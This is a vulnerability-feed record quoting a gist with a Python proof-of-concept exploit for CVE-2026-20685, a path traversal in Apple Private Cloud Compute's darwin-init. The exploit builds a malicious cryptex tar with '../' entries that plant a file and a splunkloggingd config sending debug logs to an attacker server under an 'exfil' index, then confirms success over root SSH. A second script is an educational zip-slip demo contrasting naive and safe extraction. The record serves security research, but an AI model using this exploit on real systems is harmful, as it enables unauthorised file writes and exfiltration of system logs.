{"uuid": "9677a8dd-8a13-4eec-b968-61f90003c191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://gist.github.com/HORKimhab/e7ac4ee161e8a39080c5fe6a49a833dd", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-20685 PoC - Path Traversal in Apple Private Cloud Compute\nFor local testing ONLY in Apple Virtual Research Environment\n\nWARNING: This is for authorized security research only.\nUse only in Apple's VRE as described in the blog.\n\"\"\"\n\nimport os\nimport tarfile\nimport plistlib\nimport tempfile\nimport shutil\nfrom pathlib import Path\n\nclass PCCExploitBuilder:\n    def __init__(self, output_dir=\".\"):\n        self.output_dir = Path(output_dir)\n        self.output_dir.mkdir(exist_ok=True)\n        \n    def create_proof_file_content(self):\n        \"\"\"Create the proof file content that will be written via traversal\"\"\"\n        return \"\"\"PATH_TRAVERSAL_CONFIRMED: Written by darwin-init FilePath+Archive.swift:95\nExtraction base: /var/tmp/darwin-init/cryptex//\nTarget: /var/db/poc_darwin_init_traversal_proof\nTimestamp: VRE_TEST_ONLY\n\"\"\"\n    \n    def create_splunk_config(self, attacker_server=\"http://192.168.64.1:8088\"):\n        \"\"\"Create a malicious splunkloggingd config to redirect logs\"\"\"\n        config = {\n            \"Server\": attacker_server,\n            \"Index\": \"exfil\",\n            \"Predicates\": [\n                \"subsystem == \\\"com.apple.cloudos.cloudboard\\\"\",\n                \"subsystem == \\\"com.apple.cloudos\\\"\",\n                \"subsystem == \\\"com.apple.darwininit\\\"\"\n            ],\n            \"Level\": \"Debug\"\n        }\n        return config\n    \n    def create_traversal_entries(self, tar, temp_dir):\n        \"\"\"\n        Create traversal entries that will escape to /var/db/\n        \n        The extraction base is /var/tmp/darwin-init/cryptex//\n        4 levels of traversal (../../../../db/) reaches /var/db/\n        \"\"\"\n        \n        # Proof file - writes to /var/db/poc_darwin_init_traversal_proof\n        proof_path = Path(temp_dir) / \"proof.txt\"\n        proof_path.write_text(self.create_proof_file_content())\n        \n        # Add with traversal prefix\n        tar.add(\n            str(proof_path), \n            arcname=\"../../../../db/poc_darwin_init_traversal_proof\"\n        )\n        \n        # Splunk config - writes to /var/db/prcos/splunkloggingd/config-main.plist\n        config_path = Path(temp_dir) / \"config-main.plist\"\n        with open(config_path, 'wb') as f:\n            plistlib.dump(self.create_splunk_config(), f)\n        \n        tar.add(\n            str(config_path),\n            arcname=\"../../../../db/prcos/splunkloggingd/config-main.plist\"\n        )\n    \n    def create_valid_cryptex_structure(self, tar, temp_dir):\n        \"\"\"\n        Create a minimal valid cryptex structure to pass verification\n        \n        This mimics the genuine cryptex bundle structure that would be\n        created by Apple's pccvre cryptex create command\n        \"\"\"\n        \n        cryptex_dir = Path(temp_dir) / \"Restore\" / \"Cryptex\" / \"POC_DEMO\"\n        cryptex_dir.mkdir(parents=True, exist_ok=True)\n        \n        # Create minimal files that would exist in a real cryptex\n        # These are placeholders - in reality, these would be actual cryptex files\n        files = {\n            \"gdmg\": b\"\\x00\" * 14336,  # 14KB placeholder\n            \"ginf\": b\"version: 1.0\\n\",\n            \"gtcd\": b\"46\",  # example ID\n            \"gtgv\": b\"build: 2026.07.31\\n\"\n        }\n        \n        for filename, content in files.items():\n            filepath = cryptex_dir / filename\n            filepath.write_bytes(content)\n            tar.add(str(filepath), arcname=f\"Restore/Cryptex/POC_DEMO/{filename}\")\n        \n        # Create minimal BuildManifest.plist\n        manifest = {\n            \"BuildVersion\": \"1.0\",\n            \"CryptexComponents\": {\n                \"POC_DEMO\": {\n                    \"Version\": \"1.0.0\",\n                    \"Hash\": b\"\\x00\" * 32  # SHA256 placeholder\n                }\n            }\n        }\n        \n        manifest_path = Path(temp_dir) / \"BuildManifest.plist\"\n        with open(manifest_path, 'wb') as f:\n            plistlib.dump(manifest, f)\n        \n        tar.add(str(manifest_path), arcname=\"Restore/BuildManifest.plist\")\n    \n    def build_malicious_cryptex(self, output_filename=\"malicious_cryptex.tar\"):\n        \"\"\"Build the complete malicious tar archive\"\"\"\n        \n        output_path = self.output_dir / output_filename\n        print(f\"[*] Building malicious cryptex: {output_path}\")\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Add traversal entries\n                self.create_traversal_entries(tar, temp_dir)\n                \n                # Add valid cryptex structure\n                self.create_valid_cryptex_structure(tar, temp_dir)\n                \n                # Display contents for verification\n                print(\"\\n[*] Archive contents:\")\n                for member in tar.getmembers():\n                    indicator = \"TRAVERSAL\" if member.name.startswith(\"../\") else \"BUNDLE\"\n                    print(f\"  {member.name:60} {indicator}\")\n        \n        print(f\"\\n[+] Successfully created: {output_path}\")\n        return output_path\n    \n    def create_control_tar(self, output_filename=\"control_cryptex.tar\"):\n        \"\"\"Create a clean control tar with no traversal for comparison\"\"\"\n        output_path = self.output_dir / output_filename\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Only add valid cryptex structure, no traversal\n                self.create_valid_cryptex_structure(tar, temp_dir)\n        \n        print(f\"[+] Control tar created: {output_path}\")\n        return output_path\n\nclass VREHelper:\n    \"\"\"Helper functions for interacting with the VRE\"\"\"\n    \n    @staticmethod\n    def start_vre_node(debug=True):\n        \"\"\"Start a VRE instance with debugging\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"/System/Library/SecurityResearch/usr/bin/pccvre\",\n            \"instance\", \"start\",\n            \"--debug\" if debug else \"\",\n            \"-N\", \"poc_demo\"\n        ]\n        cmd = [c for c in cmd if c]  # Remove empty strings\n        \n        print(\"[*] Starting VRE node...\")\n        # In practice, you'd capture the output to get the HTTP server details\n        # This is a simplified example\n        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        return process\n    \n    @staticmethod\n    def verify_exploit(ip=\"192.168.64.50\"):\n        \"\"\"Verify the exploit worked by reading the proof file\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"ssh\", f\"root@{ip}\",\n            \"echo\", '\"$(&lt; /var/db/poc_darwin_init_traversal_proof)\"'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        if \"PATH_TRAVERSAL_CONFIRMED\" in result.stdout:\n            print(\"[+] EXPLOIT CONFIRMED! Proof file exists.\")\n            print(result.stdout)\n            return True\n        else:\n            print(\"[-] Exploit not verified.\")\n            return False\n\ndef main():\n    \"\"\"Main PoC execution\"\"\"\n    print(\"=\" * 60)\n    print(\"CVE-2026-20685 PoC - Path Traversal in Apple PCC\")\n    print(\"For VRE Testing Only\")\n    print(\"=\" * 60)\n    \n    # Build the exploit\n    builder = PCCExploitBuilder()\n    malicious_tar = builder.build_malicious_cryptex()\n    control_tar = builder.create_control_tar()\n    \n    # Verify the archive structure\n    print(\"\\n[*] Verifying archive structure...\")\n    with tarfile.open(malicious_tar, 'r') as tar:\n        has_traversal = any(m.name.startswith(\"../\") for m in tar.getmembers())\n        has_valid_cryptex = any(\"Restore/Cryptex\" in m.name for m in tar.getmembers())\n        \n        print(f\"  Contains traversal entries: {has_traversal}\")\n        print(f\"  Contains valid cryptex: {has_valid_cryptex}\")\n    \n    print(\"\\n\" + \"=\" * 60)\n    print(\"PoC BUILD COMPLETE\")\n    print(\"=\" * 60)\n    print(\"\\nNext steps in VRE:\")\n    print(\"1. Start VRE instance: pccvre instance start --debug -N poc_demo\")\n    print(\"2. Register the malicious tar as a third cryptex\")\n    print(\"3. Boot the node and verify /var/db/poc_darwin_init_traversal_proof exists\")\n    print(\"4. Check splunkloggingd redirection to your endpoint\")\n    print(\"\\nNote: The splunk config will redirect to http://192.168.64.1:8088\")\n    print(\"      Modify this in PCCExploitBuilder.create_splunk_config() if needed\")\n\nif __name__ == \"__main__\":\n    # Safety check - prevent accidental execution outside VRE\n    if not os.path.exists(\"/System/Library/SecurityResearch/usr/bin/pccvre\"):\n        print(\"WARNING: Not running in Apple Virtual Research Environment!\")\n        print(\"This PoC should ONLY be used in the authorized VRE.\")\n        response = input(\"Continue anyway? (y/N): \")\n        if response.lower() != 'y':\n            print(\"Exiting.\")\n            exit(0)\n    \n    main()\n\n### ---- ###\n#!/usr/bin/env python3\n\"\"\"\nEducational Zip-Slip / path-traversal demo.\nCreates a malicious tar and extracts it with na\u00efve concatenation\n(exactly the pattern that was present in the vulnerable darwin-init code).\nRun only in a throw-away directory.\n\"\"\"\n\nimport tarfile\nimport os\nimport tempfile\nfrom pathlib import Path\n\ndef make_malicious_tar(tar_path: Path):\n    with tarfile.open(tar_path, \"w\") as tar:\n        # Benign file that stays inside the extraction dir\n        info = tarfile.TarInfo(name=\"safe.txt\")\n        data = b\"I stay inside the extraction directory\\n\"\n        info.size = len(data)\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\n        # Classic traversal \u2013 four \u201c..\u201d to escape a typical /tmp/.../extract base\n        evil_name = \"../../../../tmp/poc_path_traversal_written_by_root\"\n        info = tarfile.TarInfo(name=evil_name)\n        data = b\"PATH_TRAVERSAL_CONFIRMED \u2013 written outside the intended directory\\n\"\n        info.size = len(data)\n        # Optional: set mode/uid if you want to mimic root extraction\n        info.mode = 0o644\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\ndef vulnerable_extract(tar_path: Path, dest: Path):\n    \"\"\"Na\u00efve extractor that does what the old darwin-init code effectively did.\"\"\"\n    dest.mkdir(parents=True, exist_ok=True)\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            # NO sanitization \u2013 this is the bug\n            target = dest / member.name\n            if member.isfile():\n                target.parent.mkdir(parents=True, exist_ok=True)\n                with open(target, \"wb\") as f:\n                    f.write(tar.extractfile(member).read())\n                print(f\"[written] {target}\")\n\ndef safe_extract(tar_path: Path, dest: Path):\n    \"\"\"Correct way: reject any member that escapes the destination.\"\"\"\n    dest = dest.resolve()\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            target = (dest / member.name).resolve()\n            if not str(target).startswith(str(dest)):\n                raise Exception(f\"Path traversal blocked: {member.name}\")\n            # \u2026 then extract only the safe members\n\nif __name__ == \"__main__\":\n    work = Path(tempfile.mkdtemp(prefix=\"zipslip-demo-\"))\n    tar_file = work / \"malicious.tar\"\n    extract_dir = work / \"extract_here\"\n\n    print(f\"Working directory: {work}\")\n    make_malicious_tar(tar_file)\n    print(\"Created malicious tar.\")\n\n    print(\"\\n--- Vulnerable extraction ---\")\n    vulnerable_extract(tar_file, extract_dir)\n\n    print(\"\\n--- Safe extraction (should raise) ---\")\n    try:\n        safe_extract(tar_file, extract_dir)\n    except Exception as e:\n        print(\"Blocked:\", e)\n\n    print(\"\\nCheck /tmp for the file written by the traversal entry.\")\n", "creation_timestamp": "2026-08-10T06:52:29.828008Z"}